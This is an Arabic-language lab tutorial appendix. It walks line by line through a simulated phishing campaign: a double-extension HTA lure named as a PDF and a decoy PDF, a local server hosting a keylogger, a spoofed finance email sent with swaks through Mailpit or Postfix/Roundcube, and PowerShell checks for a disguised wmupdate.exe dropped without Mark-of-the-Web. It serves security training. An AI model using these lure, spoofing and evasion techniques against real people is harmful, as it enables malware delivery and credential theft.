nano payload.hta: لماذا nano وليس vim أو code؟

  • nano = محرر نصي طرفي بواجهة مباشرة. الاختصارات مكتوبة أسفل الشاشة (^O للحفظ، ^X للخروج). لا يوجد "أوضاع"، تكتب مباشرة.
  • vim = محرر قوي جدا لكن له modes (Normal / Insert / Visual). المبتدئ يفتحه، يضغط حروف، لا يحدث شيء، يحاول الخروج، يجد نفسه محبوسا. الخروج نفسه (:q!) غير بديهي.
  • code = محرر Visual Studio Code بواجهة رسومية. لا يعمل في WSL بدون X server أو إضافة Remote-WSL، ويفتح نافذة منفصلة، يبطئ التدفق.
  • للمعمل: nano أسرع للمبتدئ لأنه يبقيك في الطرفية بدون منحنى تعلم.

cp payload.hta "Q4-Report.pdf.hta"

  • cp = copy. ينسخ الملف الأول إلى اسم الثاني (يترك الأصلي كما هو).
  • لماذا الاسم Q4-Report.pdf.hta بالذات؟ — نستغل ميزة Windows Explorer الافتراضية Hide extensions for known file types. عندما تكون مفعّلة (وهي الوضع الافتراضي)، Windows يخفي الجزء الأخير المعروف فقط. — .hta ليس من الامتدادات "المعروفة" التي يخفيها Explorer في Windows 11 الحديث، لكنها كانت كذلك تاريخيا، والاسم Q4-Report.pdf.hta يصنع وهم بصري حتى لو ظهر الامتداد: العين تلتقط .pdf أولا وتتوقف.
  • علامات الاقتباس "..." ضرورية لأن الاسم يحوي نقطتين، لولاها bash يعاملها كوسائط منفصلة في بعض السياقات (مع مسافات على وجه الخصوص).
  • نحتفظ بنسختين: payload.hta للتعديل السريع، و Q4-Report.pdf.hta للإرسال الفعلي.

Heredoc بصيغة <<'HTAEOF' (لو استخدمناها بدل nano)

  • Heredoc = طريقة bash لتمرير نص متعدد الأسطر لأمر عبر stdin.
  • cat > file <<HTAEOF ... HTAEOF = "اقرأ كل شيء حتى ترى السطر HTAEOF واكتبه في file".
  • لماذا الاقتباس المفرد <<'HTAEOF'؟ — بدون اقتباس: bash يفسّر الرموز داخل النص. أي $var يُستبدل بقيمة المتغير، والـ ` cmd ينفَّذ، و \ هو رمز escape. — حمولات HTA تحوي $ (نادر) وتحوي **مسارات \ ** وتحوي أحيانا `. لو تُرك بدون اقتباس، bash سيأكل هذه الرموز قبل أن يصل النص للملف. — الاقتباس المفرد حول HTAEOF يقول لـ bash`: عطّل كل التوسيع، احفظ النص حرفيا بايت ببايت.
  • قاعدة عامة: إذا لم تكن تريد استبدال متغير داخل الكتلة، اقتبس دائما.

الخطوة 3: طعم PDF بـ reportlab

bash
python3 <<'EOF'
from reportlab.pdfgen import canvas
from reportlab.lib.pagesizes import letter
c = canvas.Canvas("Q4-report.pdf", pagesize=letter)
c.setFont("Helvetica-Bold", 20)
c.drawString(72, 720, "Corp Notes Inc. - Q4 2025 Report")
c.setFont("Helvetica", 12)
c.drawString(72, 680, "Revenue: $12.4M (+18% YoY)")
c.drawString(72, 660, "Operating Income: $2.1M")
c.drawString(72, 640, "See attached schedule for details.")
c.save()
print("Created Q4-report.pdf")
EOF

python3 <<'EOF' ... EOF

  • نفس فكرة Heredoc أعلاه، لكن الأمر المستقبل للنص هو python3 بدل cat.
  • python3 بلا وسائط يقرأ من stdin وينفّذ ما يُقرأ كسكربت.
  • الاقتباس 'EOF' حرج هنا أيضا: لو كتبنا EOF بدون اقتباس، فأي $ في السكربت (مثل $12.4M) سيحاول bash توسيعه قبل أن يصل python.

from reportlab.pdfgen import canvas

  • reportlab = مكتبة Python لتوليد ملفات PDF من الصفر (لا تعدّل موجود، بل تكتب جديدا).
  • pdfgen.canvas = الوحدة التي تحوي واجهة "الرسم على لوحة".
  • نموذج فكري: تخيّل ورقة بيضاء وقلما، تضع القلم عند إحداثيات وترسم.

from reportlab.lib.pagesizes import letter

  • letter = ثابت يمثل مقاس ورقة US Letter (612×792 نقطة PostScript، أي 8.5×11 بوصة).
  • بدائل: A4, legal, A3.
  • الوحدة الأساسية في reportlab هي النقطة (point) = 1/72 بوصة.

canvas.Canvas("Q4-report.pdf", pagesize=letter)

  • model الكائن: Canvas تمثّل "ملف PDF مفتوح للكتابة".
  • الوسيط الأول = اسم الملف الذي سيُكتب على القرص.
  • pagesize=letter = مقاس الصفحة الأولى.
  • كل شيء بعد ذلك، نص، خطوط، أشكال، يُرسم على هذه الصفحة الحالية حتى تستدعي showPage() (لبدء صفحة جديدة) أو save() (لإنهاء الملف).

c.setFont("Helvetica-Bold", 20)

  • يحدد الخط والحجم للرسم اللاحق. لا يرسم شيئا، فقط "يشحن القلم".
  • Helvetica-Bold و Helvetica = خطوط PDF قياسية (Standard 14) مضمنة في كل قارئ. لا حاجة لتضمين ملف .ttf.
  • 20 = حجم الخط بالنقاط.

c.drawString(x, y, text) ونظام الإحداثيات

  • يرسم text بحيث يبدأ الحرف الأول عند النقطة (x, y).
  • نظام الإحداثيات في PDF: الأصل (0, 0) في الزاوية السفلى اليسرى، عكس معظم الصور والويب حيث الأصل أعلى اليسار. — x يزيد يمينا. — y يزيد صعودا.
  • لذلك في ورقة letter (ارتفاع 792 نقطة): — y = 720 قريب من الأعلى (72 نقطة من القمة). — y = 640 أنزل بـ 80 نقطة تقريبا.
  • x = 72 = بوصة واحدة من اليسار (هامش تقليدي).

c.save()

  • يكتب هيكل الـ PDF (trailer, xref, objects) إلى القرص ويقفل الملف.
  • بدون هذا الاستدعاء لن يوجد ملف صالح، كل ما قبله كان تراكما في الذاكرة.

الخطوة 4: تشغيل خادم الحمولات

bash
cp ~/lab/payloads/keylogger_edu.exe ~/lab/serve/
python3 -m http.server 8000 --bind 0.0.0.0 --directory ~/lab/serve

python3 -m http.server

  • python3 = مفسّر Python 3.
  • -m module = شغّل الوحدة كنص برمجي. الفرق عن الاستدعاء المباشر: — python3 script.py = ينفّذ ملفا محددا بمسار. — python3 -m http.server = يبحث Python عن الوحدة http.server داخل مسار المكتبة القياسية، ويشغّل دالتها __main__.
  • http.server وحدة مضمنة في Python 3 بلا تثبيت، تعطيك خادم ويب بدائي في سطر واحد.

8000

  • رقم المنفذ الذي يستمع عليه الخادم. الافتراضي 8000.
  • كل ما تحت 1024 يحتاج sudo (منافذ محجوزة). 8000 منفذ شائع للتجارب لأنه فوق ذلك.

--bind 0.0.0.0

  • يحدّد عنوان IP للواجهة الشبكية التي يستمع الخادم عليها. الافتراضي بدونه هو نفسه 0.0.0.0.
  • 0.0.0.0 = "استمع على كلّ الواجهات": lo, eth0, و أيّ واجهة VMnet2 أو Host-Only تربطك بـ Victim VM. الفائدة: نفس الأمر يعمل على VMware VMnet2 (10.10.10.10) أو VirtualBox Host-Only (192.168.56.1) بلا تعديل.
  • نسخة قديمة كانت تستخدم --bind 10.10.10.10. تفشل بـ OSError: [Errno 99] Cannot assign requested address إن لم يكن 10.10.10.10 معيّناً على واجهة على هذا الجهاز. 0.0.0.0 يتفادى هذا الخطأ.
  • العزل التشغيلي (منع الشبكة الحقيقية من رؤية الخادم) يجب أن يأتي من الشبكة نفسها، لا من الـ --bind: شبكة VMnet2/Host-Only منفصلة عن Wi-Fi/Ethernet بحكم تكوينها.

--directory ~/lab/serve

  • يقول للخادم: "اخدم من هذا المسار مهما كان مسار العمل الحاليّ".
  • بدون هذا الخيار، http.server يخدم من pwd وقت التشغيل. لو نسيت cd قبل تشغيله، قد يخدم ~/lab/hta بالخطأ ويكشف payload.hta في auto-index.
  • --directory جعل هذه الأخطاء مستحيلة: المسار جزء من الأمر نفسه.

سلوك عرض الدليل

  • قواعد الرد على طلب GET /: — إن وُجد index.html في الدليل، يُرسل مباشرة. — إن لم يوجد، يولّد صفحة HTML تلقائياً تسرد كلّ الملفات والمجلدات بروابط قابلة للنقر.
  • لهذا نضع في ~/lab/serve/ فقط ما نريد الضحية أن تصل إليه: keylogger_edu.exe و Q4-report.pdf. لو زارت http://10.10.10.10:8000/ بالمصادفة، هذان فقط ما ستراه.
  • payload.hta و Q4-Report.pdf.hta يبقيان في ~/lab/hta/ وحدهما — لا ينكشفان أبداً على HTTP.

الخطوة 5: تشغيل Mailpit وإرسال البريد بـ swaks

bash
# ‏شغّل Mailpit في نافذة (اتركها مفتوحة):
mailpit --smtp 0.0.0.0:1025 --listen 0.0.0.0:8025

# ‏من نافذة أخرى — أطلق بريد التصيّد:
swaks --to victim@corp-notes.test \
      --from finance@corp-notes.test \
      --server 127.0.0.1 --port 1025 \
      --header "Subject: Q4 Financial Report - Please Review" \
      --body "Attached is the Q4 report. Please review and confirm receipt." \
      --attach "@$HOME/lab/hta/Q4-Report.pdf.hta"

mailpit --smtp 0.0.0.0:1025 --listen 0.0.0.0:8025

  • mailpit = ثنائيّ Go واحد يجمع دوريَن: خادم SMTP بسيط، وواجهة ويب لعرض ما وصل. لا قاعدة بيانات دائمة (كلّ شيء في الذاكرة أو ملفّ SQLite في /tmp)، لا MX record، لا تسليم حقيقيّ للخارج. مثاليّ للمعامل المعزولة.
  • --smtp 0.0.0.0:1025 = المنفذ الذي يستقبل swaks. 1025 (وليس 25) لتفادي احتياج sudo لربط منافذ محجوزة (< 1024).
  • --listen 0.0.0.0:8025 = واجهة الويب و REST API. الضحية تفتح http://10.10.10.10:8025 في Chrome وترى صندوق وارد يشبه Roundcube أو Gmail.
  • 0.0.0.0 على الاثنين لأنّ الضحية VM منفصلة عن WSL. لو شغّلت الاثنين على WSL نفسها فقط، 127.0.0.1 كافٍ.

swaks — لماذا هذه الأداة تحديداً؟

  • Swiss Army Knife for SMTP: أداة Perl سطر أوامر مصمّمة لاختبار خوادم البريد. تكوّن رسالة SMTP كاملة (envelope + headers + body + attachments) وتحاور الخادم يدويّاً وتطبع كلّ تبادل.
  • مقابل sendmail أو mail أو mutt: هذه أدوات إنتاج، لا تكشف حوار SMTP الفعلي. swaks يطبع كلّ سطر -> أرسلته و <- استلمته — تعليميّ بامتياز، ومفيد لتشخيص أيّ فشل بريدّ.

الفاصل \ نهاية السطر

  • في bash، \ + سطر جديد = تكملة السطر التالي. الأمر يُقرأ سطرا واحدا منطقيا رغم كتابته على عدة أسطر.
  • فقط للقراءة البشرية. يمكن كتابته سطرا واحدا طويلا بلا \.

--to victim@corp-notes.test

  • envelope recipient. هذا هو RCPT TO في بروتوكول SMTP، العنوان الذي يوجّه الخادم الرسالة إليه فعلا.
  • مهم أن نميز: عنوان To: الظاهر للمستخدم في رأس البريد شيء آخر، يمكن للمهاجم أن يُظهر عنوانا ويرسل لعنوان مختلف تماما. swaks يجعل الاثنين متطابقين افتراضيا، لكن يمكن الفصل.

--from finance@corp-notes.test

  • envelope sender (يُعرف أيضا بـ MAIL FROM أو Return-Path).
  • هذا العنوان الذي ترتد إليه رسائل الفشل. لا يوجد أي مصادقة افتراضية عليه، يمكنك كتابة أي شيء.
  • في العالم الحقيقي: SPF, DKIM, DMARC تفرض تطابق النطاق مع مصدر الإرسال. في المعمل المعزول لا شيء من هذا مفعّل، لذلك انتحال العنوان ينجح فورا.
  • نستخدم finance@corp-notes.test لبناء الثقة لدى الضحية، كأن الرسالة من إدارة المالية.

--server 127.0.0.1 --port 1025

  • عنوان + منفذ خادم SMTP الذي يستقبل الرسالة. 127.0.0.1 لأنّ Mailpit يعمل على نفس WSL Attacker الذي يشغّل swaks.
  • --port 1025 صريح لأنّ Mailpit يستمع على منفذ غير معياريّ (25 = المنفذ الافتراضي لـ swaks = المنفذ الذي يستخدمه Postfix عادةً، وليس ما نريد هنا).
  • لا حاجة لـ MX record ولا DNS — swaks يتّصل بعنوان IP مباشرةً، والرسالة تصل رغم أنّ نطاق corp-notes.test مجرّد اسم مخترَع.

--header "Subject: ..."

  • يضيف أي RFC 5322 header للرسالة. Subject: هو الأشهر.
  • الصيغة "HeaderName: value" نصا واحدا مع : فاصلة.
  • يمكن تكرار الخيار: --header "X-Priority: 1" --header "Reply-To: ...".

--body "..."

  • نص الرسالة (plain text). لو أردت HTML body هناك --body-attach مع نوع MIME.

--attach "@$HOME/lab/hta/...": @ هو المفتاح، ومصيدة ~

  • @ قبل المسار = "المحتوى موجود في هذا الملف، اقرأه من القرص".
  • بدون @ = "هذه السلسلة نفسها هي محتوى المرفق".
  • لو نسيت @: swaks يرسل مرفقاً نصياً محتواه حرفياً سلسلة ~/lab/hta/Q4-Report.pdf.hta (بضع بايتات). الضحية لن ترى HTA صالحاً وستحتار.
  • عادة Unix قديمة: @filename = "توسيع من ملف". نفس الاصطلاح في curl -d @data.json و gpg وأدوات أخرى.

مصيدة الـ tilde (~): جرّب --attach @~/lab/hta/Q4-Report.pdf.hta — سيفشل بـ Option processing error: file ~/lab/hta/Q4-Report.pdf.hta not openable. السبب: bash يوسّع ~ إلى $HOME فقط عندما تكون في بداية كلمة، و @ قبله يعطّل التوسيع. الحلول:

  • استخدم "@$HOME/lab/hta/..." — $HOME يوسَّع داخل الاقتباس المزدوج.
  • أو مسار مطلق: "@/home/hashim/lab/hta/...".
  • أو @ مع مسار نسبيّ عندما تكون داخل مجلّد الملف: cd ~/lab/hta && swaks ... --attach @Q4-Report.pdf.hta.

ترميز MIME للمرفق (تلقائي)

  • SMTP نص ASCII محض ولا يستطيع نقل بايتات ثنائية خام.
  • swaks يفعل تلقائيا: — يقرأ الملف كبايتات. — يشفّرها بـ base64 (كل 3 بايتات ثنائية → 4 حروف ASCII). — يضع Content-Transfer-Encoding: base64 في رأس الجزء. — يخمّن Content-Type من الامتداد (لـ .hta يستخدم application/octet-stream عادة). — يضع اسم الملف في Content-Disposition: attachment; filename="...".
  • كل هذا "خلف الكواليس"، لا تحتاج تدخلا.

الخطوة 6: تنفيذ الضحية

  • واجهة Mailpit: واجهة الويب المدمجة على http://10.10.10.10:8025. الضحية يفتحها في Chrome، ويرى صندوق الوارد بواجهة مشابهة لـ Roundcube أو Gmail — بلا شهادة TLS، بلا تسجيل دخول (كلّ الرسائل ظاهرة). هذا ما جعلها بديلاً حقيقياً لـ Postfix + Roundcube في المعمل. للنسخة الكاملة انظر ملحق ج.
  • التنزيل إلى Downloads: عند النقر على المرفق في Mailpit، المتصفّح يعرض حوار "حفظ / فتح" ثمّ يودع الملفّ في %USERPROFILE%\Downloads\ = C:\Users\victim\Downloads\.
  • كشف الامتداد و Hide extensions: في Windows من XP وحتى 11، خيار File Explorer Options → View → Hide extensions for known file types مفعّل افتراضيا. النتيجة: — الاسم على القرص فعلا: Q4-Report.pdf.hta (18 حرفا). — Explorer يعرض: Q4-Report.pdf (يخفي .hta كامتداد "معروف"). — الأيقونة قد تكون أيقونة HTA (نص + شعار HTML)، لكن كثير من المستخدمين لا ينظرون للأيقونة، ينظرون للاسم فقط. — هذا "double extension" trick قديم لكنه لا يزال فعالا لأن الإعداد الافتراضي لم يتغير.

الخطوة 7: أوامر التحقق (PowerShell)

powershell
Get-Process wmupdate -ErrorAction SilentlyContinue |
    Format-Table Id, ProcessName, StartTime

Test-Path "$env:APPDATA\Microsoft\Windows\Update\wmupdate.exe"

Test-Path "$env:USERPROFILE\Downloads\Q4-Report.pdf.hta"

Get-Content "$env:APPDATA\Microsoft\Windows\Update\wmupdate.exe" `
    -Stream Zone.Identifier -ErrorAction SilentlyContinue

Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" `
    -MaxEvents 20 |
    Where-Object { $_.Message -like "*mshta*" } |
    Select TimeCreated, Id

Get-Process wmupdate

  • Get-Process = cmdlet يعيد كائنات عمليات (System.Diagnostics.Process) لكل عملية جارية.
  • الوسيط wmupdate = فلتر بالاسم (بدون .exe). يعيد فقط العمليات التي اسمها wmupdate.
  • لو موجودة → الحمولة تشتغل. لو غير موجودة → خطأ افتراضيا.

-ErrorAction SilentlyContinue: لماذا ؟

  • Get-Process عندما لا يجد العملية يرمي ObjectNotFound error بنص أحمر: Cannot find a process with the name "wmupdate".
  • -ErrorAction معلمة عامة موجودة في كل cmdlet، تحدد كيف يتصرف عند وقوع خطأ غير مميت: — Stop، أوقف كل شيء (حوّل الخطأ لاستثناء terminating). — Continue، الافتراضي، اطبع الخطأ ثم كمّل. — SilentlyContinue، ابتلع الخطأ بصمت ولا تطبعه. — Ignore، كـ SilentlyContinue لكن لا يسجل في $Error.
  • في التحقق نستخدم SilentlyContinue لسببين: — نتوقع أن العملية قد لا تكون موجودة (إذا فشلت الحمولة). نريد رسالة نظيفة، لا شاشة حمراء تخيف الطالب. — سلوك السكربت واضح: النتيجة الفارغة = "لم تعمل"، الجدول = "تعمل".

|: الأنبوب في PowerShell

  • عكس bash الذي يمرر نصا، PowerShell يمرر كائنات كاملة بحقولها ومنهجياتها.
  • Get-Process يعطي كائنات Process، والأنبوب يمررها لـ Format-Table الذي يعرف كيف يقرأ خصائصها.

Format-Table Id, ProcessName, StartTime

  • Format-Table = عرض ككم صف/عمود.
  • الوسائط بعد الاسم = قائمة الأعمدة (property projection)، أي خصائص من الكائن تريد عرضها. — Id = رقم العملية (PID). — ProcessName = اسم العملية. — StartTime = وقت بدء العملية (يخبرك بالضبط متى تم التشغيل، قوي جدا للـ triage).
  • بدون هذه القائمة يعرض PowerShell تنسيقا افتراضيا يظهر أعمدة كثيرة قد لا تحتاجها.

Test-Path "..."

  • cmdlet يعيد قيمة boolean (True أو False)، هل هذا المسار موجود؟
  • يعمل على ملفات، مجلدات، مفاتيح registry، متغيرات بيئة (كل ما يُعامل كـ PSDrive).
  • الأنماط: — Test-Path "C:\Users" → True (المجلد موجود). — Test-Path "$env:APPDATA\...\wmupdate.exe" → True بعد نجاح الحمولة. — Test-Path "$env:USERPROFILE\Downloads\Q4-Report.pdf.hta" → False بعد selfDelete()، دليل نجاح الإخفاء.

$env:APPDATA: متغيرات البيئة في PowerShell

  • $env: = provider للوصول لمتغيرات البيئة. $env:VAR يستبدل بقيمة VAR.
  • شائع الاستخدام: — $env:APPDATA = C:\Users\<user>\AppData\Roaming — $env:LOCALAPPDATA = C:\Users\<user>\AppData\Local — $env:USERPROFILE = C:\Users\<user> — $env:TEMP = C:\Users\<user>\AppData\Local\Temp — $env:COMPUTERNAME, $env:USERNAME, $env:PATH
  • استبدال المتغير يحدث داخل السلاسل ذات الاقتباس المزدوج "..." فقط. داخل الاقتباس المفرد '...' تبقى $env:APPDATA نصا حرفيا.
  • لهذا نكتب "$env:APPDATA\Microsoft\..." بلا escape لـ \، PowerShell لا يعامل \ كرمز escape (بخلاف bash). رمز الـ escape في PowerShell هو العلامة الخلفية `.

Get-Content "..." -Stream Zone.Identifier

  • Get-Content = يقرأ محتوى ملف (مثل cat في Unix).
  • -Stream Zone.Identifier = يقرأ Alternate Data Stream (ADS) بهذا الاسم بدل التيار الأساسي.

ما هو Zone.Identifier (ADS) ولماذا يهم؟

  • نظام الملفات NTFS يدعم منذ Windows NT ميزة Alternate Data Streams: كل ملف يمكن أن يحمل تيارات بيانات ثانوية بأسماء، تخزّن مع الملف الأساسي وتبقى مخفية عن أدوات مثل dir و notepad.
  • عند تنزيل ملف من الإنترنت، Windows يضيف تلقائيا تيارا اسمه Zone.Identifier يحتوي شيئا مثل:
    text
    [ZoneTransfer]
    ZoneId=3
    HostUrl=https://example.com/file.exe
    — ZoneId=3 = Internet Zone. هذا هو Mark-of-the-Web (MOTW).
  • SmartScreen, Office Protected View, و Defender ML كلها تعتمد على MOTW لتقرر: هل هذا الملف "مشبوه" ويستحق الفحص المشدد؟
  • في المعمل نتحقق: Get-Content ... -Stream Zone.Identifier على wmupdate.exe يفشل بخطأ "not found". لماذا؟ لأن ADODB.Stream (الذي نزّل الملف داخل HTA) يكتب بايتات مباشرة عبر API مستوى منخفض، ولا يمر بطبقة URLMon التي تضيف MOTW. نتيجة: الملف بدون MOTW = SmartScreen لا يراه إطلاقا. هذه التفصيلة الجوهرية التي يستغلها الطريق D.
  • -ErrorAction SilentlyContinue هنا يمنع رسالة الخطأ ("Stream not found") من تلويث الإخراج، الفراغ نفسه هو الجواب المتوقع.

Get-WinEvent -LogName "..." -MaxEvents N

  • Get-WinEvent = cmdlet قوي لقراءة Windows Event Log. أحدث من الـ Get-EventLog القديم ويدعم القنوات الحديثة (Sysmon, PowerShell Operational, إلخ).
  • -LogName "Microsoft-Windows-Sysmon/Operational" = القناة المطلوبة. هذه هي التي يكتب فيها Sysmon أحداثه (Event IDs 1, 3, 7, 11, ...).
  • -MaxEvents 20 = حدّ أعلى لعدد الأحداث المُعاد جلبها من الأحدث للأقدم. مهم لأن Sysmon قد يولّد آلاف الأحداث؛ بدون الحد ينتظر السكربت طويلا ويستهلك ذاكرة.

Where-Object { $_.Message -like "*mshta*" }

  • Where-Object = فلتر خط أنابيب. يمرر كل كائن دخل، ويحتفظ فقط بالذي يعيد فيه الـ scriptblock True.
  • { ... } = scriptblock، كود ينفَّذ لكل عنصر.
  • $_ = المتغير التلقائي للعنصر الحالي في الأنبوب.
  • $_.Message = الوصول لخاصية Message (نص الحدث الكامل).
  • -like = مقارنة نصية بـ wildcards (*, ?). ليست regex، إن أردت regex استخدم -match.
  • "*mshta*" = يحتوي الكلمة mshta في أي مكان.
  • كامل الجملة: "من آخر 20 حدث Sysmon، أعطني فقط التي يذكر متنها mshta".

Select TimeCreated, Id

  • Select alias لـ Select-Object = project (اختيار خصائص)، يبني كائنات جديدة تحوي فقط الخصائص المذكورة.
  • TimeCreated = طابع زمني للحدث.
  • Id = رقم Event ID (مثلا 1 = Process Create، 3 = Network Connection، 11 = File Create).
  • Format-Table سيُستدعى ضمنيا عند الطباعة النهائية للإخراج.

ملاحظات عامة على PowerShell

  • الاستمرار على سطر جديد: العلامة الخلفية ` ` في نهاية السطر (لاحظ استخدامها في المصدر مع Get-Content و Get-WinEvent`). يجب ألا يكون بعدها أي مسافة.
  • السلاسل والاقتباس: "..." تسمح بتوسيع المتغيرات، '...' تبقيها حرفيا.
  • نمط شائع: cmdlet | Where-Object {...} | Select prop1, prop2 | Format-Table، قراءة، تصفية، إسقاط، تنسيق.

الخطوة 8: التنظيف

  • استعادة VMware snapshot: من واجهة VMware Workstation/Fusion: — VM → Snapshot → Snapshot Manager → post-tooling → Go To. — هذا يعيد كل شيء: الملفات، السجل، الذاكرة، حالة الخدمات، بلحظة أخذ الـ snapshot. الوسيلة الوحيدة الموثوقة 100% لإزالة عدوى تدرّبت عليها. — البديل اليدوي (Stop-Process -Name wmupdate + حذف من $env:APPDATA) لا يزيل تعديلات Registry أو Scheduled Tasks أو WMI subscriptions، لذلك دائما فضّل الـ snapshot في المعامل.
  • Ctrl+C لإيقاف python3 -m http.server: — Ctrl+C في الطرفية يرسل إشارة SIGINT (Signal 2) للعملية الأمامية. — Python يترجمها لاستثناء KeyboardInterrupt. — http.server يمسك هذا الاستثناء ويقفل المقبس (socket) بأمان. — لو تركت الخادم يعمل بعد التمرين، أي جهاز على 10.10.10.10 يستطيع الاستمرار بتنزيل الحمولات، عادة سيئة أمنيا. أوقف كل خادم استخدمته.

هذا الملحق يجعل الطالب المبتدئ قادرا على قراءة كل سطر من قسم المعمل مع فهم كامل لسبب وجود كل رمز و كل خيار.


ملحق ج: التوصيل عبر Postfix + Dovecot + Roundcube الحقيقي (اختياري)

المعمل في القسم 8 يستخدم Mailpit لأنّه أبسط. لكن لو أردت أن ترى الحملة تعبر مكدّس بريد حقيقيّ — Postfix كـ MTA، Dovecot كـ IMAP، Roundcube كواجهة ويب — هذه هي الخطوات المُختبَرة نصّاً. الحملة نفسها (الحمولة، swaks، أوامر التحقّق) لا تتغيّر — يتغيّر فقط ما يستقبل الرسالة.

كلّ أمر في هذا الملحق شُغِّل حرفياً على WSL Ubuntu 22.04 قبل نشر هذه النسخة. المخارج المذكورة هي الناتج الفعلي.

⏱️ تقدير الوقت: ~15 دقيقة على نظام سبق أن استعملته، ~30 دقيقة على نظام جديد. يستهلك ~350 MB بعد التنصيب. المكدّس يبقى شغّالاً كخدمات systemd — أوقفه بعد المعمل.

ج.1 — نصب الحزم

bash
sudo apt-get update
sudo apt-get install -y postfix dovecot-imapd dovecot-lmtpd \
                        apache2 roundcube roundcube-sqlite3 php php-imap

أثناء تنصيب Postfix سيسألك عن نوع الإعداد. اختر Internet Site وحدّد System mail name = corp-notes.test.

أثناء تنصيب Roundcube سيسألك عن قاعدة البيانات. اختر sqlite3 (لا يحتاج MySQL منفصلاً).

النتيجة المتوقعة (تحقّق):

text
$ postconf mail_version
mail_version = 3.6.4

$ dovecot --version
2.3.16 (7e2e900c1a)

$ dpkg -l roundcube | tail -1
ii  roundcube  1.5.0+dfsg.1-2  ...

ج.2 — إعداد Postfix ليسلّم إلى Dovecot عبر LMTP

bash
sudo postconf -e 'inet_interfaces = all'
sudo postconf -e 'mydestination = corp-notes.test, localhost.corp-notes.test, localhost'
sudo postconf -e 'mynetworks = 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16'
sudo postconf -e 'virtual_transport = lmtp:unix:private/dovecot-lmtp'
sudo postconf -e 'home_mailbox = Maildir/'
sudo postfix reload
  • inet_interfaces = all = استمع على كلّ الواجهات (بما فيها التي يراها Victim VM).
  • mydestination = النطاقات التي يعتبر Postfix أنّها "محلّية" — يسلّمها بدل ترحيلها.
  • virtual_transport = lmtp:... = "بعد أن تقبل الرسالة، سلّمها لـ Dovecot عبر LMTP على socket داخليّ" (بدل الكتابة المباشرة للـ mbox).
  • home_mailbox = Maildir/ = صيغة Maildir (ملف لكلّ رسالة) بدل mbox القديمة.

ج.3 — إنشاء مستخدم الضحية

bash
sudo useradd -m -s /bin/bash victim
echo 'victim:VictimPass1!' | sudo chpasswd
sudo -u victim mkdir -p /home/victim/Maildir/{cur,new,tmp}

النتيجة المتوقعة:

text
$ sudo passwd -S victim
victim P 09/19/2026 0 99999 7 -1

P = password set. لو رأيت L (locked) أو NP (no password)، أعد الأمر.


ج.4 — تهيئة Dovecot (IMAP + LMTP + PAM plain)

bash
sudo tee /etc/dovecot/local.conf > /dev/null <<'EOF'
protocols = imap lmtp
mail_location = maildir:~/Maildir
disable_plaintext_auth = no
auth_mechanisms = plain login
service lmtp {
  unix_listener /var/spool/postfix/private/dovecot-lmtp {
    mode = 0600
    user = postfix
    group = postfix
  }
}
service auth {
  unix_listener /var/spool/postfix/private/auth {
    mode = 0660
    user = postfix
    group = postfix
  }
}
EOF
sudo systemctl restart dovecot postfix

النتيجة المتوقعة — منافذ مستَمَع عليها:

text
$ sudo ss -tlnp | grep -E ':25 |:143 '
LISTEN 0 100 0.0.0.0:25  ... users:(("master",...))
LISTEN 0 100 0.0.0.0:143 ... users:(("dovecot",...))

ج.5 — اختبار البريد يدخل الصندوق

bash
swaks --to victim@corp-notes.test \
      --from finance@corp-notes.test \
      --server 127.0.0.1 --port 25 \
      --header "Subject: appendix-c smoke test" \
      --body "postfix->dovecot->maildir works"

sudo ls /home/victim/Maildir/new/

النتيجة المتوقعة:

text
<-  250 2.0.0 Ok: queued as 0060E57223
 -> QUIT
=== Connection closed with remote host.

$ sudo ls /home/victim/Maildir/new/
1789811075.V830I57225M24887.hasher

ملف واحد في Maildir/new/ = وصلت. اقرأه بـ sudo cat /home/victim/Maildir/new/* وسترى الرأس الكامل مع Delivered-To: victim@corp-notes.test.


ج.6 — تفعيل Roundcube في Apache

تنصيب Roundcube على Ubuntu 22.04 يترك سطر الـ Alias معلَّقاً في /etc/apache2/conf-enabled/roundcube.conf. لا بدّ من تفعيله يدويّاً:

bash
sudo sed -i 's|^#\s*Alias /roundcube /var/lib/roundcube/public_html|Alias /roundcube /var/lib/roundcube/public_html|' /etc/apache2/conf-enabled/roundcube.conf
sudo systemctl reload apache2

تحقّق:

text
$ curl -s -o /dev/null -w "HTTP %{http_code}\n" http://127.0.0.1/roundcube/
HTTP 200

ج.7 — ربط Roundcube بـ Dovecot IMAP

bash
sudo tee /etc/roundcube/config.inc.php > /dev/null <<'EOF'
<?php
$config = [];
$config["db_dsnw"] = "sqlite:////var/lib/roundcube/rc.db?mode=0640";
$config["imap_host"] = "localhost:143";
$config["smtp_host"] = "localhost:25";
$config["support_url"] = "";
$config["product_name"] = "Corp Notes Webmail";
$config["des_key"] = "corpnotescorpnotescorpnotescorp";
$config["language"] = "en_US";
EOF

- imap_host + smtp_host = يشيران للـ Dovecot و Postfix المحلّيَّين اللذَين ثبّتناهما.

  • des_key = مفتاح تشفير كوكيز الجلسة (24 بايتاً). أيّ نصّ ثابت بذلك الطول يفي بالغرض في المعمل.

ج.8 — الاستخدام في الحملة

غيّر أمر swaks من الخطوة 5 في القسم 8 كالتالي:

bash
swaks --to victim@corp-notes.test \
      --from finance@corp-notes.test \
      --server 127.0.0.1 --port 25 \
      --header "Subject: Q4 Financial Report - Please Review" \
      --body "Attached is the Q4 report. Please review and confirm receipt." \
      --attach "@$HOME/lab/hta/Q4-Report.pdf.hta"

(الفرق: --port 25 بدل 1025، والخادم أصبح Postfix الحقيقيّ بدل Mailpit.)

على الضحية VM: افتح http://10.10.10.10/roundcube/ في Chrome، سجّل دخول:

text
Username: victim
Password: VictimPass1!

سترى رسالة finance@corp-notes.test. من هنا الحملة تسير كما في القسم 8 — انقر على المرفق، نزّله، double-click، وتحقّق بأوامر PowerShell.


ج.9 — التنظيف

bash
# ‏لإيقاف الخدمات فقط (تبقى مُثبّتة، تُشغَّل تلقائيّاً بعد إعادة التشغيل):
sudo systemctl stop postfix dovecot apache2
sudo systemctl disable postfix dovecot apache2

# ‏لإزالة كلّ شيء:
sudo apt-get purge -y postfix dovecot-core dovecot-imapd dovecot-lmtpd \
                     roundcube roundcube-core roundcube-sqlite3 \
                     apache2 apache2-bin
sudo userdel -r victim 2>/dev/null
sudo rm -rf /var/lib/roundcube /etc/roundcube /var/mail /var/spool/postfix
